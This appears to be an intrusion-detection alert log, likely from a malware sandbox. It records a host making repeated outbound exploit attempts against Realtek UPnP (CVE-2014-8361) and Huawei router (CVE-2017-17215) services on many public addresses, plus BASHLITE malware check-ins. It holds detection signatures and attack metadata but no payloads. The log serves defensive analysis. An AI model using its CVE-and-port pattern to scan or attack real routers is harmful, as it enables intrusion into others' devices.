2024-10-06T20:01:47.672648+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44654	41.100.244.66	52869	TCP
2024-10-06T20:01:47.674447+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38602	197.24.94.254	52869	TCP
2024-10-06T20:01:47.674647+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	57952	156.105.182.53	52869	TCP
2024-10-06T20:01:47.674676+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39116	197.79.252.96	52869	TCP
2024-10-06T20:01:47.674736+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37636	197.2.124.141	52869	TCP
2024-10-06T20:01:47.674857+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	35490	41.34.226.96	52869	TCP
2024-10-06T20:01:47.676529+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	51062	156.41.214.241	52869	TCP
2024-10-06T20:01:47.676600+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40358	197.141.39.10	52869	TCP
2024-10-06T20:01:47.676710+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	42456	156.67.0.10	52869	TCP
2024-10-06T20:01:47.676955+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43304	197.56.14.153	52869	TCP
2024-10-06T20:01:47.719294+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48684	197.76.141.79	52869	TCP
2024-10-06T20:01:47.721429+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59230	41.211.132.212	52869	TCP
2024-10-06T20:01:48.470966+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52376	41.201.233.234	52869	TCP
2024-10-06T20:01:48.688612+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	33858	197.40.67.175	52869	TCP
2024-10-06T20:01:48.888989+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50038	156.73.113.231	52869	TCP
2024-10-06T20:01:49.733425+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	43214	41.80.221.110	37215	TCP
2024-10-06T20:01:49.733523+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54898	197.174.136.139	37215	TCP
2024-10-06T20:01:49.735057+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46046	156.41.2.103	37215	TCP
2024-10-06T20:01:49.735183+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	43082	197.132.147.67	37215	TCP
2024-10-06T20:01:49.735306+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39984	156.27.169.190	37215	TCP
2024-10-06T20:01:49.764749+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47374	156.86.142.221	37215	TCP
2024-10-06T20:01:50.701859+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55724	156.164.200.217	37215	TCP
2024-10-06T20:01:50.702019+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37326	197.136.106.245	37215	TCP
2024-10-06T20:01:50.702164+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39694	41.42.189.2	37215	TCP
2024-10-06T20:01:50.717768+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34254	41.221.240.25	52869	TCP
2024-10-06T20:01:50.717795+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	33990	156.34.90.240	37215	TCP
2024-10-06T20:01:50.717832+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	44602	41.187.154.21	37215	TCP
2024-10-06T20:01:50.717945+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37060	41.118.179.89	37215	TCP
2024-10-06T20:01:50.718299+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56896	197.211.57.107	37215	TCP
2024-10-06T20:01:50.718456+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	42714	41.129.30.55	37215	TCP
2024-10-06T20:01:50.718535+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55008	197.182.94.114	37215	TCP
2024-10-06T20:01:50.719027+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37174	197.25.101.38	52869	TCP
2024-10-06T20:01:50.719288+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	60332	41.137.7.49	37215	TCP
2024-10-06T20:01:50.719497+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47362	41.195.8.213	37215	TCP
2024-10-06T20:01:50.719609+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51126	197.97.56.178	37215	TCP
2024-10-06T20:01:50.719685+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50622	41.196.250.224	37215	TCP
2024-10-06T20:01:50.719726+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47390	156.102.250.250	37215	TCP
2024-10-06T20:01:50.719788+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60062	197.180.75.68	52869	TCP
2024-10-06T20:01:50.720049+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47804	197.199.84.11	37215	TCP
2024-10-06T20:01:50.720116+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41424	156.114.97.203	37215	TCP
2024-10-06T20:01:50.721561+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	59952	156.133.76.231	37215	TCP
2024-10-06T20:01:50.724459+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40100	197.14.51.100	37215	TCP
2024-10-06T20:01:50.725991+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46382	41.35.11.104	37215	TCP
2024-10-06T20:01:50.733402+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58816	197.16.121.129	37215	TCP
2024-10-06T20:01:50.733993+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	49436	156.161.125.224	37215	TCP
2024-10-06T20:01:50.734035+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57654	197.121.188.77	37215	TCP
2024-10-06T20:01:50.734120+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59694	41.149.115.102	52869	TCP
2024-10-06T20:01:50.734964+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53492	41.32.130.173	37215	TCP
2024-10-06T20:01:50.735016+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	33800	197.62.128.22	37215	TCP
2024-10-06T20:01:50.735059+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	60508	41.132.230.227	37215	TCP
2024-10-06T20:01:50.737011+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50960	41.232.24.2	52869	TCP
2024-10-06T20:01:50.737055+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52474	197.43.7.216	37215	TCP
2024-10-06T20:01:50.749209+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	34856	197.71.175.217	37215	TCP
2024-10-06T20:01:50.749211+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	33254	156.61.71.56	37215	TCP
2024-10-06T20:01:50.749230+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56492	197.141.55.213	37215	TCP
2024-10-06T20:01:50.754829+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36252	156.35.46.57	37215	TCP
2024-10-06T20:01:51.281346+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55392	156.235.22.58	37215	TCP
2024-10-06T20:01:51.526303+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39380	197.6.243.95	37215	TCP
2024-10-06T20:01:52.733690+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	35100	41.213.247.156	52869	TCP
2024-10-06T20:01:52.749816+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	53172	156.0.236.253	52869	TCP
2024-10-06T20:01:52.756954+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43416	41.2.139.193	52869	TCP
2024-10-06T20:01:52.780436+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	57674	197.54.250.170	52869	TCP
2024-10-06T20:01:52.784731+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52110	197.99.223.198	37215	TCP
2024-10-06T20:01:52.803770+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36966	41.78.82.154	37215	TCP
2024-10-06T20:01:53.752452+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	45128	41.66.13.68	52869	TCP
2024-10-06T20:01:53.817505+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54856	41.21.245.16	37215	TCP
2024-10-06T20:01:54.004060+0200	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.15	37610	248.167.251.89	89	TCP
2024-10-06T20:01:54.362985+0200	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.15	36512	167.251.89.0	89	TCP
2024-10-06T20:01:54.952619+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55446	197.200.113.133	52869	TCP
2024-10-06T20:01:54.952621+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	41690	197.220.252.254	52869	TCP
2024-10-06T20:01:54.952627+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34068	156.89.136.39	52869	TCP
2024-10-06T20:01:54.963376+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36014	41.90.82.224	37215	TCP
2024-10-06T20:01:54.963376+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37070	156.192.53.197	37215	TCP
2024-10-06T20:01:55.860363+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46784	41.118.109.73	37215	TCP
2024-10-06T20:01:56.889871+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54876	156.215.76.66	37215	TCP
2024-10-06T20:01:57.811701+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	41016	197.180.93.125	52869	TCP
2024-10-06T20:01:57.813416+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34320	41.53.241.60	52869	TCP
2024-10-06T20:01:57.827759+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44760	197.61.209.66	52869	TCP
2024-10-06T20:01:57.829182+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34424	197.184.10.190	52869	TCP
2024-10-06T20:01:57.843802+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37056	156.52.174.42	52869	TCP
2024-10-06T20:01:57.844829+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44840	41.50.51.242	52869	TCP
2024-10-06T20:01:57.905813+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35528	156.76.41.7	37215	TCP
2024-10-06T20:01:57.909339+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52744	41.79.184.20	37215	TCP
2024-10-06T20:01:58.797918+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50978	197.238.6.142	52869	TCP
2024-10-06T20:01:58.798002+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	42332	156.68.149.30	52869	TCP
2024-10-06T20:01:58.831603+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43218	197.76.198.44	52869	TCP
2024-10-06T20:01:58.843697+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44034	197.21.212.62	52869	TCP
2024-10-06T20:01:58.858539+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60502	197.140.116.56	52869	TCP
2024-10-06T20:01:59.811409+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39802	41.69.189.184	52869	TCP
2024-10-06T20:01:59.827368+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	53166	156.138.11.229	52869	TCP
2024-10-06T20:01:59.831190+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60426	41.69.92.139	52869	TCP
2024-10-06T20:01:59.831530+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58722	156.75.5.3	52869	TCP
2024-10-06T20:01:59.905516+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46440	197.102.136.35	37215	TCP
2024-10-06T20:01:59.937534+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54832	197.248.168.63	37215	TCP
2024-10-06T20:01:59.940552+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52400	197.84.249.59	37215	TCP
2024-10-06T20:01:59.940675+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37032	156.214.101.1	37215	TCP
2024-10-06T20:01:59.983663+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38950	197.147.61.238	37215	TCP
2024-10-06T20:02:00.591078+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56692	156.70.80.221	37215	TCP
2024-10-06T20:02:00.692841+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38836	197.6.12.249	52869	TCP
2024-10-06T20:02:00.811209+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52712	41.59.95.13	52869	TCP
2024-10-06T20:02:00.827446+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48052	41.187.233.208	52869	TCP
2024-10-06T20:02:00.827507+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39120	197.48.133.66	52869	TCP
2024-10-06T20:02:00.827670+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59234	41.95.185.200	52869	TCP
2024-10-06T20:02:00.827740+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	42726	156.176.254.152	52869	TCP
2024-10-06T20:02:00.827743+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	45168	41.91.228.173	52869	TCP
2024-10-06T20:02:00.827996+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38558	41.8.204.233	52869	TCP
2024-10-06T20:02:00.828094+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50626	156.18.118.125	52869	TCP
2024-10-06T20:02:00.829023+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58374	197.249.100.246	52869	TCP
2024-10-06T20:02:00.829175+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	35956	156.31.96.90	52869	TCP
2024-10-06T20:02:00.831147+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49416	156.186.131.212	52869	TCP
2024-10-06T20:02:00.842661+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	36856	197.132.219.32	52869	TCP
2024-10-06T20:02:00.842964+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47610	156.163.174.123	52869	TCP
2024-10-06T20:02:00.843037+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	36392	41.69.106.215	52869	TCP
2024-10-06T20:02:00.843135+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40188	156.204.71.225	52869	TCP
2024-10-06T20:02:00.844698+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	53862	197.162.225.228	52869	TCP
2024-10-06T20:02:00.846658+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48798	41.63.150.214	52869	TCP
2024-10-06T20:02:00.846754+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47410	41.49.128.71	52869	TCP
2024-10-06T20:02:00.846795+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39964	156.7.218.249	52869	TCP
2024-10-06T20:02:00.846863+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43288	156.59.41.212	52869	TCP
2024-10-06T20:02:00.846964+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39164	41.170.36.21	52869	TCP
2024-10-06T20:02:00.858148+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	33640	156.195.251.126	52869	TCP
2024-10-06T20:02:00.858539+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	54538	197.237.128.105	52869	TCP
2024-10-06T20:02:00.860432+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60610	197.113.227.181	52869	TCP
2024-10-06T20:02:00.864323+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37152	41.12.117.6	52869	TCP
2024-10-06T20:02:00.878060+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48396	197.161.211.236	52869	TCP
2024-10-06T20:02:00.878264+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	41242	41.134.10.27	52869	TCP
2024-10-06T20:02:00.879790+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	57408	156.209.40.246	52869	TCP
2024-10-06T20:02:00.968385+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47104	156.122.80.55	37215	TCP
2024-10-06T20:02:01.858208+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	46364	156.6.227.85	52869	TCP
2024-10-06T20:02:01.858543+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52712	197.90.45.214	52869	TCP
2024-10-06T20:02:01.858708+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	56344	156.37.89.250	52869	TCP
2024-10-06T20:02:01.858798+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58668	156.143.222.225	52869	TCP
2024-10-06T20:02:01.858861+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38122	41.156.210.161	52869	TCP
2024-10-06T20:02:01.858914+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37208	197.79.149.193	52869	TCP
2024-10-06T20:02:01.858976+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43674	41.100.194.20	52869	TCP
2024-10-06T20:02:01.859075+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	54702	197.98.67.31	52869	TCP
2024-10-06T20:02:01.859463+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44570	156.158.80.40	52869	TCP
2024-10-06T20:02:01.860879+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50968	156.207.193.70	52869	TCP
2024-10-06T20:02:01.860984+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49046	41.142.178.138	52869	TCP
2024-10-06T20:02:01.862540+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	51702	41.77.37.71	52869	TCP
2024-10-06T20:02:01.864484+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	41972	41.80.137.185	52869	TCP
2024-10-06T20:02:01.866236+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	35498	41.191.75.109	52869	TCP
2024-10-06T20:02:01.879869+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	51372	41.181.29.60	52869	TCP
2024-10-06T20:02:01.890321+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37768	156.196.228.176	52869	TCP
2024-10-06T20:02:01.890826+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39744	41.122.119.34	52869	TCP
2024-10-06T20:02:01.893766+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39132	41.19.65.165	52869	TCP
2024-10-06T20:02:01.905684+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	46162	41.212.27.100	52869	TCP
2024-10-06T20:02:01.972113+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	51964	197.217.182.228	52869	TCP
2024-10-06T20:02:02.858896+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	46890	156.9.215.253	52869	TCP
2024-10-06T20:02:02.905070+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37172	156.235.215.188	52869	TCP
2024-10-06T20:02:02.905408+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	42544	156.38.207.133	52869	TCP
2024-10-06T20:02:02.905616+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55274	156.221.186.139	52869	TCP
2024-10-06T20:02:02.905731+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43986	197.64.210.134	52869	TCP
